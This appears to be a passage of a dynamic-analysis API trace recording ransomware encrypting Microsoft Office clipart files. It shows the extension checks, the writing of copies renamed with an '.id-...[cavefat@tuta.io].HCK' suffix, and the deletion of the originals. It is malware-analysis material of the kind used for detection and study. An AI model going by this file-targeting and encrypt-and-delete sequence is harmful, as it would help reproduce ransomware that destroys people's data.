[0170.957] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.957] SetEndOfFile (hFile=0x370) returned 1 [0170.958] CloseHandle (hObject=0x370) returned 1 [0170.959] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.959] SetEndOfFile (hFile=0x2ec) returned 1 [0170.964] CloseHandle (hObject=0x2ec) returned 1 [0170.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".doc") returned 4 [0170.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0170.969] lstrlenW (lpString=".docx") returned 5 [0170.969] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0170.969] lstrlenW (lpString=".pdf") returned 4 [0170.969] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".xls") returned 4 [0170.969] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".xlsx") returned 5 [0170.969] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0170.969] lstrlenW (lpString=".ppt") returned 4 [0170.969] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".zip") returned 4 [0170.969] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".rar") returned 4 [0170.969] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".bz2") returned 4 [0170.969] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0170.969] lstrlenW (lpString=".7z") returned 3 [0170.969] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".dbf") returned 4 [0170.969] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".1cd") returned 4 [0170.969] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".jpg") returned 4 [0170.969] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.969] lstrlenW (lpString=".doc") returned 4 [0170.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0170.969] lstrlenW (lpString=".docx") returned 5 [0170.969] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0170.969] lstrlenW (lpString=".pdf") returned 4 [0170.969] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".xls") returned 4 [0170.969] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString=".xlsx") returned 5 [0170.969] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0170.969] lstrlenW (lpString=".ppt") returned 4 [0170.969] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0170.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.970] lstrlenW (lpString=".zip") returned 4 [0170.970] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0170.970] lstrlenW (lpString=".rar") returned 4 [0170.970] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0170.970] lstrlenW (lpString=".bz2") returned 4 [0170.970] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0170.970] lstrlenW (lpString=".7z") returned 3 [0170.970] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.970] lstrlenW (lpString=".dbf") returned 4 [0170.970] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.970] lstrlenW (lpString=".1cd") returned 4 [0170.970] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0170.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0170.970] lstrlenW (lpString=".jpg") returned 4 [0170.970] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0170.970] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.970] lstrlenW (lpString="J0216612.WMF") returned 12 [0170.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.974] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9442) returned 1 [0170.974] CloseHandle (hObject=0x38c) returned 1 [0170.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf")) returned 0x220 [0170.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.988] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.988] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0170.991] GetLastError () returned 0x0 [0170.991] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x24e2, lpOverlapped=0x0) returned 1 [0170.992] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x24f0, lpOverlapped=0x0) returned 1 [0170.993] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.993] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.993] SetEndOfFile (hFile=0x394) returned 1 [0170.995] CloseHandle (hObject=0x394) returned 1 [0170.996] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.996] SetEndOfFile (hFile=0x2ec) returned 1 [0171.001] CloseHandle (hObject=0x2ec) returned 1 [0171.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf")) returned 1 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.006] lstrlenW (lpString=".doc") returned 4 [0171.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.006] lstrlenW (lpString=".docx") returned 5 [0171.006] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.006] lstrlenW (lpString=".pdf") returned 4 [0171.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.006] lstrlenW (lpString=".xls") returned 4 [0171.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.006] lstrlenW (lpString=".xlsx") returned 5 [0171.006] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.006] lstrlenW (lpString=".ppt") returned 4 [0171.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.006] lstrlenW (lpString=".zip") returned 4 [0171.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.006] lstrlenW (lpString=".rar") returned 4 [0171.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".bz2") returned 4 [0171.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".7z") returned 3 [0171.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".dbf") returned 4 [0171.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".1cd") returned 4 [0171.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".jpg") returned 4 [0171.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".doc") returned 4 [0171.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".docx") returned 5 [0171.007] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.007] lstrlenW (lpString=".pdf") returned 4 [0171.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".xls") returned 4 [0171.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.007] lstrlenW (lpString=".xlsx") returned 5 [0171.007] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.007] lstrlenW (lpString=".ppt") returned 4 [0171.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".zip") returned 4 [0171.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.007] lstrlenW (lpString=".rar") returned 4 [0171.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".bz2") returned 4 [0171.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString=".7z") returned 3 [0171.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".dbf") returned 4 [0171.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.007] lstrlenW (lpString=".1cd") returned 4 [0171.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0171.008] lstrlenW (lpString=".jpg") returned 4 [0171.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.008] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.008] lstrlenW (lpString="J0217872.WMF") returned 12 [0171.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.009] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7336) returned 1 [0171.009] CloseHandle (hObject=0x394) returned 1 [0171.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf")) returned 0x220 [0171.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.024] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.024] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.029] GetLastError () returned 0x0 [0171.029] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1ca8, lpOverlapped=0x0) returned 1 [0171.031] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0171.032] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.032] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.032] SetEndOfFile (hFile=0x38c) returned 1 [0171.038] CloseHandle (hObject=0x38c) returned 1 [0171.040] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.040] SetEndOfFile (hFile=0x2ec) returned 1 [0171.046] CloseHandle (hObject=0x2ec) returned 1 [0171.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf")) returned 1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".doc") returned 4 [0171.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".docx") returned 5 [0171.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.051] lstrlenW (lpString=".pdf") returned 4 [0171.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".xls") returned 4 [0171.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.051] lstrlenW (lpString=".xlsx") returned 5 [0171.051] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.051] lstrlenW (lpString=".ppt") returned 4 [0171.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".zip") returned 4 [0171.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.051] lstrlenW (lpString=".rar") returned 4 [0171.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".bz2") returned 4 [0171.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".7z") returned 3 [0171.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".dbf") returned 4 [0171.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".1cd") returned 4 [0171.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".jpg") returned 4 [0171.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.051] lstrlenW (lpString=".doc") returned 4 [0171.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".docx") returned 5 [0171.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.051] lstrlenW (lpString=".pdf") returned 4 [0171.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.051] lstrlenW (lpString=".xls") returned 4 [0171.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.052] lstrlenW (lpString=".xlsx") returned 5 [0171.052] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.052] lstrlenW (lpString=".ppt") returned 4 [0171.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.052] lstrlenW (lpString=".zip") returned 4 [0171.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.052] lstrlenW (lpString=".rar") returned 4 [0171.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.052] lstrlenW (lpString=".bz2") returned 4 [0171.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.052] lstrlenW (lpString=".7z") returned 3 [0171.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.052] lstrlenW (lpString=".dbf") returned 4 [0171.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.052] lstrlenW (lpString=".1cd") returned 4 [0171.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF") returned 68 [0171.052] lstrlenW (lpString=".jpg") returned 4 [0171.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.052] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.052] lstrlenW (lpString="J0228959.WMF") returned 12 [0171.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.062] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=37260) returned 1 [0171.062] CloseHandle (hObject=0x374) returned 1 [0171.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf")) returned 0x220 [0171.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0171.074] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.074] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.076] GetLastError () returned 0x0 [0171.076] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x918c, lpOverlapped=0x0) returned 1 [0171.079] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9190, lpOverlapped=0x0) returned 1 [0171.080] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.080] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.080] SetEndOfFile (hFile=0x308) returned 1 [0171.083] CloseHandle (hObject=0x308) returned 1 [0171.085] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.085] SetEndOfFile (hFile=0x398) returned 1 [0171.090] CloseHandle (hObject=0x398) 